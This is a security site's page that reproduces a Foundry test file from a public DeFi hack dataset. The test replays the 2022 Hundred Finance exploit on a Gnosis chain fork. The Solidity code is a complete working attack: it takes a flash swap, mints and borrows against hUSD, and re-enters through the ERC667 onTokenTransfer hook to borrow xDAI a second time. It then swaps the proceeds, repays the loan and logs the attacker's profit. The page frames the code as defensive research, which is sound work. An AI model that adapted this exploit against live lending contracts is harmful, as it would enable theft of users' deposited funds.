Skip to content
THREATWIRE

Public reproduction file

src/test/2022-03/HundredFinance_exp.sol

Public reproduction file for dataset entry Hundred Finance.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-03/HundredFinance_exp.sol141 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7/*
8Root cause: ERC667 tokens hooks reentrancy.
9
10Attacker wallet: 0xd041ad9aae5cf96b21c3ffcb303a0cb80779e358
11Attacker contract: 0xdbf225e3d626ec31f502d435b0f72d82b08e1bdd
12Attack tx: https://gnosisscan.io/tx/0x534b84f657883ddc1b66a314e8b392feb35024afdec61dfe8e7c510cfac1a098
13Debug tx: https://dashboard.tenderly.co/tx/xdai/0x534b84f657883ddc1b66a314e8b392feb35024afdec61dfe8e7c510cfac1a098
15 Vulnerable contract:
16 0x243E33aa7f6787154a8E59d3C27a66db3F8818ee
17 0xe4e43864ea18d5e5211352a4b810383460ab7fcc
18 0x8e15a22853a0a60a0fbb0d875055a8e66cff0235
19 0x090a00a2de0ea83def700b5e216f87a5d4f394fe
21ref: https://github.com/compound-finance/compound-protocol/issues/141
22credit: https://github.com/Hephyrius/Immuni-Hundred-POC*/
23interface ICompoundToken {
24 function borrow(
25 uint256 borrowAmount
26 ) external;
27 function repayBorrow(
28 uint256 repayAmount
29 ) external;
30 function redeem(
31 uint256 redeemAmount
32 ) external;
33 function mint(
34 uint256 amount
35 ) external;
36 function comptroller() external view returns (address);
39interface IComptroller {
40 function allMarkets() external view returns (address[] memory);
43interface ICurve {
44 function exchange(int128 i, int128 j, uint256 _dx, uint256 _min_dy) external;
47interface IWeth {
48 function deposit() external payable;
51contract ContractTest is Test {
52 IERC20 private constant usdc = IERC20(0xDDAfbb505ad214D7b80b1f830fcCc89B60fb7A83);
53 IERC20 private constant wxdai = IERC20(0xe91D153E0b41518A2Ce8Dd3D7944Fa863463a97d);
55 address private constant husd = 0x243E33aa7f6787154a8E59d3C27a66db3F8818ee;
56 address private constant hxdai = 0x090a00A2De0EA83DEf700B5e216f87a5D4F394FE;
58 ICurve curve = ICurve(0x7f90122BF0700F9E7e1F688fe926940E8839F353);
59 IUniswapV2Router private constant router = IUniswapV2Router(payable(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506));
61 uint256 totalBorrowed;
62 bool xdaiBorrowed = false;
64 function setUp() public {
65 vm.createSelectFork("gnosis", 21_120_319); //fork gnosis at block number 21120319
66 }
68 function testExploit() public {
69 borrow();
70 console.log("Attacker Profit: %s usdc", usdc.balanceOf(address(this)) / 1e6);
71 }
73 function borrow() internal {
74 IUniswapV2Factory factory = IUniswapV2Factory(router.factory());
75 IUniswapV2Pair pair = IUniswapV2Pair(factory.getPair(address(wxdai), address(usdc)));
76 uint256 borrowAmount = usdc.balanceOf(address(pair)) - 1;
78 pair.swap(
79 pair.token0() == address(wxdai) ? 0 : borrowAmount,
80 pair.token0() == address(wxdai) ? borrowAmount : 0,
81 address(this),
82 abi.encode("0x")
83 );
84 }
86 function uniswapV2Call(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {
87 attackLogic(_amount0, _amount1, _data);
88 }
90 function attackLogic(uint256 _amount0, uint256 _amount1, bytes calldata _data) internal {
91 uint256 amountToken = _amount0 == 0 ? _amount1 : _amount0;
92 totalBorrowed = amountToken;
93 console.log("Borrowed: %s USDC from Sushi", usdc.balanceOf(address(this)) / 1e6);
94 depositUsdc();
95 borrowUsdc();
96 swapXdai();
97 uint256 amountRepay = ((amountToken * 1000) / 997) + 1;
98 usdc.transfer(msg.sender, amountRepay);
99 console.log("Repay Flashloan for : %s USDC", amountRepay / 1e6);
100 }
102 function depositUsdc() internal {
103 uint256 balance = usdc.balanceOf(address(this));
104 usdc.approve(husd, balance);
105 ICompoundToken(husd).mint(balance);
106 }
108 function borrowUsdc() internal {
109 uint256 amount = (totalBorrowed * 90) / 100;
110 ICompoundToken(husd).borrow(amount);
111 console.log("Attacker USDC Balance After Borrow: %s USDC", usdc.balanceOf(address(this)) / 1e6);
112 console.log("Hundred USDC Balance After Borrow: %s USDC", usdc.balanceOf(husd) / 1e6);
113 }
115 function borrowXdai() internal {
116 xdaiBorrowed = true;
117 uint256 amount = ((totalBorrowed * 1e12) * 60) / 100;
119 ICompoundToken(hxdai).borrow(amount);
120 console.log("Attacker xdai Balance After Borrow: %s XDAI", address(this).balance / 1e8);
121 console.log("Hundred xdai Balance After Borrow: %s Xdai", address(hxdai).balance / 1e8);
122 }
124 function swapXdai() internal {
125 IWeth(payable(address(wxdai))).deposit{value: address(this).balance}();
126 wxdai.approve(address(curve), wxdai.balanceOf(address(this)));
127 curve.exchange(0, 1, wxdai.balanceOf(address(this)), 1);
128 }
130 function onTokenTransfer(address _from, uint256 _value, bytes memory _data) external {
131 IUniswapV2Factory factory = IUniswapV2Factory(router.factory());
132 address pair = factory.getPair(address(wxdai), address(usdc));
134 if (_from != pair && xdaiBorrowed == false) {
135 console.log("''i'm in!''");
136 borrowXdai();
137 }
138 }
140 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “Hundred Finance” (2022-03-13). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

File record

Name
Hundred Finance
Path
src/test/2022-03/HundredFinance_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
ae12552cd5e2848e8ef9f601e2759d9c336e7855
Language
Solidity
Size
142 lines
Date
2022-03-13
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-03/HundredFinance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob ae12552cd5e2848e8ef9f601e2759d9c336e7855, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.